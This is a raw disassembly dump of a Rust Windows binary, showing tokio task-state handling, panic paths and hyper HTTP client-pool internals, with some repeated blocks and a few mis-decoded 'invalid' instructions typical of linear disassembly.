movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140080c70
test al, 1
je 0x140080e64
test al, 2
jne 0x140080e7c
test al, 8
jne 0x140080cc1
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x140080ce8
xorps xmm6, xmm6
cmp eax, 1
je 0x140080d15
jmp 0x140080d41
test al, 0x10
je 0x140080dbd
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x140080f00
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x10]
jmp 0x140080dbd
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140068f70
mov qword [rsi + 0x30], 0xc
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140080dbd
cmp eax, 1
je 0x140080da3
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff010
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x140080e94
jne 0x140080e51
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x140080e0c
mov rcx, rdi
call fcn.14002ded0
lea rcx, [rsi + 0x30]
call fcn.14007dde0
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x140080e2b
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140080f60
test al, 1
je 0x140081154
test al, 2
jne 0x14008116c
test al, 8
jne 0x140080fb1
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x140080fd8
xorps xmm6, xmm6
cmp eax, 1
je 0x140081005
jmp 0x140081031
test al, 0x10
je 0x1400810ad
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x1400811f0
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x10]
jmp 0x1400810ad
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140068f70
mov qword [rsi + 0x30], 0xc
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x1400810ad
cmp eax, 1
je 0x140081093
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff3b0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x140081184
jne 0x140081141
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x1400810fc
mov rcx, rdi
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.14007dde0
mov rax, qword [rsi + 0x1f8]
test rax, rax
je 0x14008111b
mov rcx, qword [rsi + 0x200]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140081250
test al, 1
je 0x140081431
test al, 2
jne 0x140081449
test al, 8
jne 0x14008129e
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x1400812bf
xorps xmm6, xmm6
cmp eax, 1
je 0x1400812ec
jmp 0x140081318
test al, 0x10
je 0x140081390
mov rax, qword [rsi + 0x68]
test rax, rax
je 0x1400814cd
mov rcx, qword [rsi + 0x70]
call qword [rax + 0x10]
jmp 0x140081390
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140067620
mov byte [rsi + 0x50], 5
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140081390
cmp eax, 1
je 0x140081376
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff3b0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x140081461
jne 0x14008141e
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x1400813df
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140081530
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140081820
test al, 1
je 0x140081a13
test al, 2
jne 0x140081a2b
test al, 8
jne 0x140081871
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x140081898
xorps xmm6, xmm6
cmp eax, 1
je 0x1400818c5
jmp 0x1400818f1
test al, 0x10
je 0x14008196c
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x140081aaf
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x10]
jmp 0x14008196c
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140069230
mov byte [rsi + 0xa8], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x14008196c
cmp eax, 1
je 0x140081952
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff3b0
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x140081a43
jne 0x140081a00
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x1400819bb
mov rcx, rdi
call fcn.1400caa30
lea rcx, [rsi + 0x30]
call fcn.14007eaa0
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x1400819da
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x18]
mov r8, qword [rsi - 8]
mov rcx, qword [0x14019f258]
xor edx, edx
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
jmp qword [sym.imp.kernel32.dll_HeapFree]
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
int3
push rsi
push rdi
push rbx
sub rsp, 0x90
movaps xmmword [rsp + 0x80], xmm6
mov rsi, rcx
mov rax, qword [rcx]
nop dword [rax + rax]
mov rcx, rax
xor rcx, 3
lock cmpxchg qword [rsi], rcx
jne 0x140081b10
test al, 1
je 0x140081d03
test al, 2
jne 0x140081d1b
test al, 8
jne 0x140081b61
mov rdi, qword [rsi + 0x28]
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
test eax, eax
je 0x140081b88
xorps xmm6, xmm6
cmp eax, 1
je 0x140081bb5
jmp 0x140081be1
test al, 0x10
je 0x140081c5c
mov rax, qword [rsi + 0xc0]
test rax, rax
je 0x140081d9f
mov rcx, qword [rsi + 0xc8]
call qword [rax + 0x10]
jmp 0x140081c5c
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rbx, qword [rcx + rax*8]
lea rcx, [rbx + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rbx + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmm6, xmmword [rax + 0xf8]
mov qword [rax + 0xf8], 1
mov qword [rax + 0x100], rdi
lea rcx, [rsi + 0x30]
call fcn.140069230
mov byte [rsi + 0xa8], 4
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movzx eax, byte [rax + 0x128]
cmp eax, 2
je 0x140081c5c
cmp eax, 1
je 0x140081c42
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rdi, qword [rcx + rax*8]
lea rcx, [rdi + 0xd8]
lea rdx, [0x140100f70]
call fcn.1400ed020
mov byte [rdi + 0x128], 1
mov eax, dword [0x14019f30c]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
movups xmmword [rax + 0xf8], xmm6
lea rdi, [rsi + 0x20]
mov rcx, qword [rsi + 0x20]
mov rdx, rsi
call fcn.1400ff010
cmp rax, 1
mov eax, 2
sbb rax, 0
mov qword [rsp + 0x20], rax
shl eax, 6
neg rax
lock xadd qword [rsi], rax
shr rax, 6
cmp rax, qword [rsp + 0x20]
jb 0x140081d33
jne 0x140081cf0
mov rax, qword [rdi]
lock dec qword [rax]
jne 0x140081cab
movaps xmm6, xmmword [rsp + 0x80]
add rsp, 0x90
pop rbx
pop rdi
pop rsi
ret
lea rcx, str.assertion_failed:_prev.is_running__
lea r8, [0x140167ed0]
mov edx, 0x23
call fcn.140122660
lea rcx, str.assertion_failed:__prev.is_complete__
lea r8, [0x140167f10]
mov edx, 0x25
call fcn.140122660
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x28]
mov qword [rsp + 0x60], rax
lea rax, [fcn.140008ab0]
mov qword [rsp + 0x68], rax
lea rcx, [rsp + 0x20]
mov qword [rsp + 0x70], rcx
mov qword [rsp + 0x78], rax
lea rax, str.current:___sub:__
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 2
mov qword [rsp + 0x50], 0
lea rax, [rsp + 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x48], 2
lea rdx, [0x140167f58]
lea rcx, [rsp + 0x30]
call fcn.1401224d0
lea rax, str.waker_missing
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x38], 1
mov qword [rsp + 0x40], 8
xorps xmm0, xmm0
movups xmmword [rsp + 0x48], xmm0
lea rdx, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtime_taskcore.rs
lea rcx, [rsp + 0x30]
call fcn.1401224d0
int3
cmp qword [rdi + 0x30], 0
je 0x1400834f0
mov byte [r12 + 0x70], 3
jmp 0x140083674
movzx eax, byte [0x14019f308]
mov edx, 0x38
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140083705
mov rdi, rax
mov qword [rax], 0
mov byte [rax + 0x29], 2
mov byte [rax + 0x30], 4
lea rdx, str.pool_is_disabledC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_src_serviceoneshot.rs
mov r8d, 0x10
mov rcx, rax
call fcn.1400a8460
mov qword [r12], rdi
cmp byte [rsp + 0xc0], 2
mov byte [r12 + 0x70], 2
je 0x140083674
lea rcx, [rsp + 0x50]
call fcn.140083b10
cmp byte [rsp + 0xb1], 2
je 0x14008356c
lea rcx, [rsp + 0x80]
call fcn.1400837b0
cmp byte [rsp + 0x50], 2
jb 0x14008359c
mov rsi, qword [rsp + 0x58]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x14019f258]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
lea rcx, [rsp + 0x78]
mov rax, qword [rsp + 0x60]
mov rdx, qword [rsp + 0x68]
mov r8, qword [rsp + 0x70]
call qword [rax + 0x10]
mov r8, qword [rsp + 0xb8]
lea rax, [r8 + 1]
cmp rax, 2
jb 0x140083674
lock dec qword [r8 + 8]
jne 0x140083674
mov rcx, qword [0x14019f258]
xor edx, edx
call qword [sym.imp.kernel32.dll_HeapFree]
jmp 0x140083674
mov word [rax + riz*2], fs
add dword [rax], eax
add byte [rcx - 0x77], cl
clc
call fcn.140083910
cmp byte [rsp + 0xc0], 2
je 0x1400834de
mov rax, qword [rsp + 0xc0]
mov qword [r12 + 0x70], rax
movups xmm0, xmmword [rsp + 0xb0]
movups xmmword [r12 + 0x60], xmm0
movups xmm0, xmmword [rsp + 0xa0]
movups xmmword [r12 + 0x50], xmm0
movups xmm0, xmmword [rsp + 0x90]
movups xmmword [r12 + 0x40], xmm0
movups xmm0, xmmword [rsp + 0x50]
movups xmm1, xmmword [rsp + 0x60]
movups xmm2, xmmword [rsp + 0x70]
movups xmm3, xmmword [rsp + 0x80]
movups xmmword [r12 + 0x30], xmm3
movups xmmword [r12 + 0x20], xmm2
movups xmmword [r12 + 0x10], xmm1
movups xmmword [r12], xmm0
movaps xmm6, xmmword [rsp + 0x260]
movaps xmm7, xmmword [rsp + 0x270]
movaps xmm8, xmmword [rsp + 0x280]
add rsp, 0x298
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
invalid
mov ecx, 8
mov edx, 0x38
call fcn.140122190
mov rax, qword [rsp + 0xd0]
mov qword [rsp + 0x50], rax
mov eax, dword [rsp + 0x4c]
mov byte [rsp + 0x58], al
lea rax, str.C:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rsC:Usersmilus.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientclient.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14015a418]
lea r8, [rsp + 0x50]
mov edx, 0x2b
call fcn.140122900
mov ecx, 8
mov edx, 0x88
call fcn.140122190
ud2
pause
mov rax, qword [rdi + 8]
nop word cs:[rax + rax]
cmp rax, 0xffffffffffffffff
je 0x140083940
test rax, rax
js 0x140083a50
lea rcx, [rax + 1]
lock cmpxchg qword [rdi + 8], rcx
jne 0x140083950
movzx ebp, byte [r8]
test ebp, ebp
je 0x1400839d0
cmp ebp, 2
jne 0x1400839d2
mov r15, r8
mov r12, qword [r8 + 8]
movzx eax, byte [0x14019f308]
mov ecx, 0x20ba0011
add byte [rax], al
invalid
mov ecx, 0x20ba0011
add byte [rax], al
add byte [rcx], dh
xor ecx, ecx
xor ecx, ecx
call fcn.1400f8ae0
test rax, rax
je 0x140083a55
mov r14, rax
lea rdx, [r12 + 0x18]
mov rax, qword [r12]
mov r8, qword [r12 + 8]
mov r9, qword [r12 + 0x10]
lea rcx, [rsp + 0x20]
call qword [rax]
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
mov r8, r15
jmp 0x1400839d7
jmp 0x1400839d7
movzx eax, byte [r8 + 1]
mov byte [rsp + 0x20], bpl
mov byte [rsp + 0x21], al
mov qword [rsp + 0x28], r14
lea rcx, [rsp + 0x30]
lea rdx, [r8 + 0x28]
mov r10, qword [r8 + 0x10]
mov rax, qword [r8 + 0x18]
mov r9, qword [r8 + 0x20]
mov r8, rax
call qword [r10]
mov rax, qword [rbx + 0x30]
mov qword [rsi + 0x60], rax
movups xmm0, xmmword [rbx]
movups xmm1, xmmword [rbx + 0x10]
movups xmm2, xmmword [rbx + 0x20]
movups xmmword [rsi + 0x50], xmm2
movups xmmword [rsi + 0x40], xmm1
movups xmmword [rsi + 0x30], xmm0
mov byte [rsi + 0x70], 1
movups xmm0, xmmword [rsp + 0x20]
movups xmm1, xmmword [rsp + 0x30]
movups xmm2, xmmword [rsp + 0x40]
movups xmmword [rsi], xmm0
movups xmmword [rsi + 0x10], xmm1
movups xmmword [rsi + 0x20], xmm2
mov qword [rsi + 0x68], rdi
add rsp, 0x50
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r14
pop r15
ret
call fcn.1401278a0
mov ecx, 8
mov edx, 0x20
call fcn.140122190
int3
mov rax, qword [rsp + 0x58]
movzx eax, byte [rax + 0x10]
test al, al
je 0x140083b92
lea rcx, [rsp + 0x30]
and al, 0x30
call fcn.1400837b0
invalid
nop
add rsp, 0x98
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
cmp byte [rsp + 0x40], 2
mov rax, qword [rsp + 0x30]
mov rax, qword [rax + 0x10]
jne 0x140083baa
cmp rax, 3
je 0x140083b73
jmp 0x140083bb0
cmp rax, 1
jne 0x140083b73
mov r15, qword [rcx + 0x68]
lea rax, [r15 + 1]
cmp rax, 1
jbe 0x140083b73
mov rax, qword [r15]
nop word cs:[rax + rax]
test rax, rax
je 0x140083b73
js 0x140083d85
lea rdx, [rax + 1]
lock cmpxchg qword [r15], rdx
jne 0x140083bd0
mov qword [rsp + 0x20], r15
lea rsi, [r15 + 0x10]
mov dl, 1
xor eax, eax
lock cmpxchg byte [r15 + 0x10], dl
jne 0x140083c84
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
jne 0x140083ca5
movzx eax, byte [r15 + 0x11]
test al, al
sete bpl
jne 0x140083d19
xor edi, edi
lea rbx, [r15 + 0x18]
movzx r12d, byte [rcx]
test r12d, r12d
je 0x140083cd4
cmp r12d, 2
jne 0x140083c7e
mov r13, qword [rcx + 8]
mov qword [rsp + 0x28], rcx
call fcn.140070940
mov r14, rax
lea rdx, [r13 + 0x18]
mov rax, qword [r13]
mov r8, qword [r13 + 8]
mov r9, qword [r13 + 0x10]
lea rcx, [rsp + 0x68]
call qword [rax]
mov rcx, qword [rsp + 0x28]
movups xmm0, xmmword [rsp + 0x68]
movups xmm1, xmmword [rsp + 0x78]
movups xmmword [r14 + 0x10], xmm1
movups xmmword [r14], xmm0
jmp 0x140083cd4
movzx eax, byte [rcx + 1]
jmp 0x140083cd4
mov rdi, rcx
mov rcx, rsi
call fcn.14012be60
mov rcx, rdi
mov rax, qword [0x14019f300]
shl rax, 1
test rax, rax
je 0x140083c12
mov rbx, rcx
call fcn.14012bf20
mov edi, eax
xor dil, 1
movzx eax, byte [r15 + 0x11]
test al, al
sete bpl
jne 0x140083d14
mov rcx, rbx
lea rbx, [r15 + 0x18]
movzx r12d, byte [rcx]
test r12d, r12d
jne 0x140083c36
mov byte [rsp + 0x68], r12b
and al, 0x68
mov byte [rsp + 0x69], al
mov qword [rsp + 0x70], r14
lea rax, [rsp + 0x78]
lea rdx, [rcx + 0x28]
mov r10, qword [rcx + 0x10]
mov r8, qword [rcx + 0x18]
mov r9, qword [rcx + 0x20]
mov rcx, rax
call qword [r10]
lea rdx, [rsp + 0x68]
lea r8, [rsp + 0x30]
lea r9, [rsp + 0x20]
mov rcx, rbx
call fcn.140083d90
test dil, dil
jne 0x140083d28
